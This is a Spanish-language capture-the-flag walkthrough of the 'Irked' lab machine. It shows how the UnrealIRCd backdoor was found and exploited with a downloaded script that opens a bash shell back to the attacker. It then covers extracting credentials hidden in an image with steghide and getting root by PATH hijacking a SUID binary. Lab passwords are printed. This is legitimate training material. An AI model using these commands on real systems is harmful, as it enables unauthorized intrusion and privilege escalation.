Irked
Publicado: 25 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Irked es una máquina Linux de dificultad Easy que presenta múltiples vectores de ataque interesantes. La explotación inicial se basa en una backdoor conocida en UnrealIRCd 3.2.8.1, que permite la ejecución remota de comandos. Para obtener acceso al usuario, se requiere el uso de técnicas de esteganografía para extraer credenciales ocultas en una imagen. La escalada de privilegios se logra mediante la explotación de un binario personalizado con permisos SUID que puede ser manipulado a través de Path Hijacking.
Esta máquina es excelente para practicar:
Enumeración de servicios IRC
Explotación de backdoors conocidas
Técnicas de esteganografía básica
Escalada de privilegios mediante SUID y Path Hijacking
Análisis de binarios con herramientas como
strings
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.117
PING 10.10.10.117 (10.10.10.117) 56(84) bytes of data.
64 bytes from 10.10.10.117: icmp_seq=1 ttl=63 time=49.1 ms
64 bytes from 10.10.10.117: icmp_seq=2 ttl=63 time=47.3 ms
--- 10.10.10.117 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 47.264/48.179/49.095/0.915 ms💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.143 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)echo $ports
22,80,111,6697,8067,45980,65534Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.117 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-25 13:25 CEST
Nmap scan report for 10.10.10.117
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 45980/tcp status
| 100024 1 48376/udp status
| 100024 1 49219/tcp6 status
|_ 100024 1 58268/udp6 status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
45980/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
🌐 Enumeración Web
80 HTTP
Realizamos fuzzing de directorios con feroxbuster pero no vemos mucho más que rascar aquí.
6697 UnrealIRC
Buscamos sobre formas de enumerar este servicio y encontramos esta documentación de nmap:
https://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html
ls -la /usr/share/nmap/scripts | grep unrealExiste un script de nmap para verificar si es una versión backdorizable de unrealircd
Ejecutamos nmap con este script contra los puertos del servicio unrealircd:
❯ nmap --script=irc-unrealircd-backdoor -p6697,8067,45980,65534 10.10.10.117Nos confirma que parece que se trata de una versión troyanizada
💻 Explotación
Buscamos un exploit y lo descargamos
wget https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/refs/heads/master/exploit.pychmod +x exploit.pyEditamos la ip y el puerto en el código del script para usar los de nuestro host de ataque:
Ejecutamos el exploit y ganamos acceso al sistema:
python3 exploit.py 10.10.10.117 6697 -payload bash
Mejora de la shell
script /dev/null -c bash
stty raw -echo; fg
reset xterm
export TERM=xtermInitial foothold
Enumeramos los usuarios de la máquina y vemos que hay dos djmardov y ircd
La primera flag se encuentra en el usuario djmardov pero no tenemos permisos:
En el directorio Documents del usuario djmardov encontramos un archivo oculto llamado backup que contiene una contraseña:
Verificamos si el usuario djmardow está reutilizándola e intentamos autenticarnos con ella pero no funciona.
Prestamos especial atención al mensaje junto a la contraseña "Super elite steg backup pw" podría dar a entender que se está usando steganografía, recordemos que vimos una imagen en el servicio del puerto 80:
Vamos a descargarla y revisar con alguna herramienta como steghide si tiene algo oculto especificando la contraseña obtenida anteriormente:
steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
Parece que había un fichero oculto llamado pass.txt en la imagen con una contraseña:
![[Pasted image 20250525135448.png]]
Logramos autenticarnos con ella con el usuario djmardov y obtener la primera flag:
su djmardov
Kab6h+m+bbp2J:HG👑 Escalada de privilegios
Buscamos archivos con permisos SUID
find / -perm -4000 2>/dev/nullVemos uno poco común que merece la pena analizar:
La ejecutamos y encontramos un banner donde se indica que la aplicación que se usa para establecer y ver permisos de usuario y que aún está en desarrollo. Dado que es un binario, probamos a usar strings para ver qué comandos se están usando:
El bit SUID está configurado para este archivo. ¿Qué significa eso? Significa que se ejecutará con el nivel de privilegio que coincida con el usuario que posee este archivo. Dado que el archivo es propiedad de root, el archivo se ejecutará con privilegios de root.
Vamos a crear un archivo en /tmp/listusers y hacemos que ejecuta una bash shell:
echo "bash" > /tmp/listusers
chmod +x listusers
/usr/bin/viewuser
Ya somos root y podemos obtener la flag.
Last updated